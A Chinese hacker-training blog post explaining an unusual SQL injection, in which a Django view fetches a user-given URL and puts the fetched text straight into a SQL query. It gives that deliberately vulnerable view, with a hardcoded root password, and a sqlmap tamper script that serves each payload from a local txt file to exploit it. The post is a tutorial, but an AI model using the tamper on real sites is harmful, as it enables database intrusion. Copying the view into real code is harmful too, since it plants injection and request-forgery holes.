当前位置:网站首页 > 黑客培训 > 正文

不一样的SQL注入

freebuffreebuf 2019-11-26 253 0

本文来源:

前段时间我这玩CTF的靶场,里面有一个很有意思的注入漏洞,后端是sqlite3做数据库,前台有一个地方上传txt,然后就会拿txt内容进行数据库查询,我根据它的原理,写了个sqlmap的tamper,可惜当时不行,就做了一下记录,刚刚翻到记录,为了验证想法,就写了一个测试网站出来。很简单,前台接受网址,后台解析查询,返回查询结果

#views.py  from django.shortcuts import render import pymysql import requests # Create your views here.from django.http import HttpResponse   def te(request):     url = request.GET.get("url")     r = requests.get(url=url)     id = r.text.strip()     db = pymysql.connect("127.0.0.1", "root", "123456", "t1", charset='utf8')     cursor = db.cursor()     cursor.execute("SELECT * FROM test where id =" + id)     data = cursor.fetchone()      db.close()     return HttpResponse(data[1])  

这是正常逻辑,txt内容为1

image.png于是我就写了一个tamper进行注入,很简单,kali本地生成随机txt,里面写payloads,返回txt的访问地址

# !/usr/bin/env python  import random import sting import re  from lib.core.data import kb from lib.core.enums import PRIORITY  __priority__ = PRIORITY.NORMAL   def dependencies():     pass   def tamper(payload, **kwargs):     retVal = payload     name = ''.join(random.sample(string.ascii_letters + string.digits, 8))      if payload:         f = open("/var/www/html/" + name + '.txt', 'w')         f.write(payload)         f.close      return "http://192.168.0.106/" + name + ".txt" 

测试过程

image.png

转载请注明来自网盾网络安全培训,本文标题:《不一样的SQL注入》

标签:SQL注入

关于我

欢迎关注微信公众号

关于我们

网络安全培训,黑客培训,渗透培训,ctf,攻防

标签列表